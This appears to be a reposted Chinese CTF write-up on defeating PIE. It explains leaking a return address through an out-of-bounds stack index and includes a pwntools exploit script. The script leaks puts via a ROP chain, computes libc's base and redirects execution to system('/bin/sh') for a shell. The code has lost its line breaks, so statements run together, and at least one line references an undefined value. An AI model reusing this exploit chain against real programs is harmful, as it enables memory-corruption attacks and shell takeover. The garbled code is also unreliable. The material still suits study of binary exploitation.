pie的绕过方式
目標程序下載
提取碼:qk1y
1.檢查程序開啟了哪些安全保護機制
pie機制簡介
PIE(position-independent executable) 是一個針對代碼段.text, 數據段.*data,.bss等固定地址的一個防護技術。同ASLR一樣,應用了PIE的程序會在每次加載時都變換加載基址
pie機制怎么繞過
雖然程序每次運行的基址會變,但程序中的各段的相對偏移是不會變的,只要泄露出來一個地址,比如函數棧幀中的返回地址
,通過ida靜態的看他的程序地址,就能算出基址,從而實現繞過
2.在IDA中查找碼漏洞與可以被我們利用的位置
從這里可以看到 v1被當做v4的下標,v1還是可控的,這樣就可以實現棧上的任意位置讀寫
首先,我們感興趣的肯定是這個函數的返回地址,正常來說,是返回這里的
用匯編看下地址
正常來說B35這個函數返回后應該是0xb11這個位置,如果拿到了程序運行時的b35函數的返回地址
然后把他減去0xb11,就是這次程序運行的基地址了
只不過這個程序有些麻煩,還要一個字節一個字節的輸入,scanf 中的 %d 格式輸入
#!/usr/bin/env python #coding:utf-8from pwn import * #context.log_level = "debug" context.arch="amd64" context.terminal = ['tmux','splitw','-h']p = process("./pwn") #p = remote("xxx.xxx.xxx.xxx",xxxx)elf = ELF("./pwn") libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")def getOffset(ret): p.sendlineafter("input index\n",str(1)) #--------------------p.recvline() # garbagep.sendlineafter("input new value\n",str(1)) #--------------------rip=''for i in range(8):p.sendlineafter("input index\n",str(ret+i))rip=p.recvline()[-3:-1]+ripp.sendlineafter("input new value\n",'15')temp='0x'for i in range(16): if rip[i]==' ':temp+='0'else:temp+=rip[i]rip=int(temp,16)return rip-0xb11def nail(ret,hex_payload):payload=hex(hex_payload)[2:]payload=(16-len(payload))*'0'+payloadp.sendlineafter("input index\n",str(ret))p.recvline()p.sendlineafter("input new value\n",str(int('0x'+payload[-2:],16)))for i in range(7):p.sendlineafter("input index\n",str(ret+i+1))p.recvline()p.sendlineafter("input new value\n",str(int('0x'+payload[-(i+2)*2:-(i+1)*2],16))) rip=0x158 #v4到返回地址的距離 p.sendlineafter("input your name \nname:","hack") offset=getOffset(rip) puts_plt=elf.plt["puts"]+offset puts_got=elf.got["puts"]+offset funaddr=offset+0xb35 pop_ret=offset+nail(rip,pop_ret) nail(rip+8,puts_got) nail(rip+16,puts_plt) nail(rip+24,funaddr) p.sendlineafter("do you want continue(yes/no)? \n","yes") puts_addr = u64(p.recv(6).ljust(8,"\x00")) # = 0x7fbd6271e690 log.success("puts addr:"+hex(puts_addr)) libc.address = puts_addr - libc.symbols["puts"] log.success("libc addr:"+hex(libc.address)) system = libc.symbols["system"] log.success("system:"+hex(system))nail(rip,system)#The '/bin/sh' are already on the rdi nail(1,1) nail(1,1) nail(1,1) getOffset(1)#gdb.attach(p) p.sendlineafter("do you want continue(yes/no)? \n","/bin/sh") p.interactive()成功獲得了shell
轉載于:https://www.cnblogs.com/jazm/p/10759943.html
總結
- 上一篇: [转] 图解Seq2Seq模型、RNN结
- 下一篇: 救救兔子(二分)